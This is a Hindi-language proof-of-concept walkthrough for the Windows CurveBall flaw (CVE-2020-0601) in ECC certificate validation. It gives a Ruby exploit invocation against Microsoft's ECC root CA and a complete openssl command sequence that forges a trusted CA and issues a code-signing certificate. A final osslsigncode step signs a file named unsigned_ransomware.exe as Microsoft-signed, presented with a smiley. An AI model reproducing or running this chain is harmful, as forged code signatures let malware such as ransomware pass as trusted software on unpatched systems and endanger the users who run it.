
CVE-2020-0601 (CurveBall) के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट जो ECC प्रमाणपत्र सत्यापन बाईपास का प्रदर्शित करता है ताकि विश्वसनीय CA को स्पूफ किया जा सके और मनमाने एक्जीक्यूटेबल्स पर हस्ताक्षर किया जा सके।
यह कमज़ोरी, जिसे CurveBall के नाम से जाना जाता है, ECC एल्गोरिथम का उपयोग करने वाले प्रमाणपत्रों के अमान्य सत्यापन के कारण होती है। विंडोज़ पहले से सत्यापित प्रमाणपत्रों को प्रमाणपत्र कैश से सत्यापित करने का प्रयास करता है और ऐसा करते समय, यह केवल यह जाँचता है कि प्रमाणपत्रों की सार्वजनिक कुंजियाँ समान हैं या नहीं, और अन्य मापदंडों की जाँच नहीं करता।
प्रमाणपत्र को जाली बनाने के लिए, हम पैरामीटर को स्पष्ट रूप से नीचे दिए अनुसार सेट करते हैं:
d' = 1
G' = Q
यदि आपको अधिक जानकारी चाहिए, तो आप final_report_milestone_IV.pdf फ़ाइल के गणितीय विवरण अनुभाग की जाँच कर सकते हैं।
इस poc में, आइए "Microsoft ECC Product Root Certificate Authority" का उपयोग करें, जो वर्ष 2043 तक माइक्रोसॉफ्ट का विश्वसनीय प्रमाणपत्र है।
आइए CA से सार्वजनिक कुंजी निकालें और इसे कमज़ोरी के अनुसार संशोधित करें
ruby exploit.rb ./MicrosoftECCProductRootCertificateAuthority.cer
हम इस कुंजी के आधार पर एक नया x509 प्रमाणपत्र उत्पन्न करते हैं। यह हमारा अपना जाली CA होगा।
openssl req -new -x509 -key spoofed_ca.key -out spoofed_ca.crt -subj "/C=/ST=/L=/O=/OU=/CN=/emailAddress="
spoofed_ca.crt की सामग्री देखने के लिए
openssl x509 -in spoofed_ca.crt -noout -text
हम एक नई कुंजी उत्पन्न करते हैं। यह कुंजी आपकी इच्छानुसार किसी भी प्रकार की हो सकती है। इसका उपयोग कोड हस्ताक्षरण प्रमाणपत्र बनाने के लिए किया जाएगा, जिसे हम अपने स्वयं के CA से हस्ताक्षरित करेंगे।
openssl ecparam -name secp384r1 -genkey -noout -out cert.key
इसके बाद, हम एक नया प्रमाणपत्र हस्ताक्षर अनुरोध (CSR) बनाते हैं। यह अनुरोध अक्सर विश्वसनीय CA को भेजा जाता है, लेकिन चूंकि हमारे पास एक जाली है, हम इसे स्वयं हस्ताक्षरित कर सकते हैं।
openssl req -new -key cert.key -out cert.csr -config openssl_cs.conf -reqexts v3_cs
हम अपने नए CSR को अपने जाली CA और CA कुंजी से हस्ताक्षरित करते हैं। यह प्रमाणपत्र 2047 में समाप्त होगा, जबकि वास्तविक विश्वसनीय Microsoft CA 2043 में समाप्त होगा।
openssl x509 -req -in cert.csr -CA spoofed_ca.crt -CAkey spoofed_ca.key -CAcreateserial -out cert.crt -days 10000 -extfile openssl_cs.conf -extensions v3_cs
एकमात्र चीज़ जो बची है वह है प्रमाणपत्र, उसकी कुंजी और जाली CA को एक PKCS12 फ़ाइल में पैक करना ताकि निष्पादन योग्य फ़ाइलों पर हस्ताक्षर किया जा सके।
openssl pkcs12 -export -in cert.crt -inkey cert.key -certfile spoofed_ca.crt -name "Code Signing" -out cert.p12
आइए अपने निष्पादन योग्य पर PKCS12 फ़ाइल से हस्ताक्षर करें।
osslsigncode sign -pkcs12 cert.p12 -n "Signed by PISP Team" -in unsigned_ransomware.exe -out microsoft_signed_ransomware.exe -pass 1234
अब, हमारे पास बिल्कुल नया ransomware है Microsoft द्वारा हस्ताक्षरित :)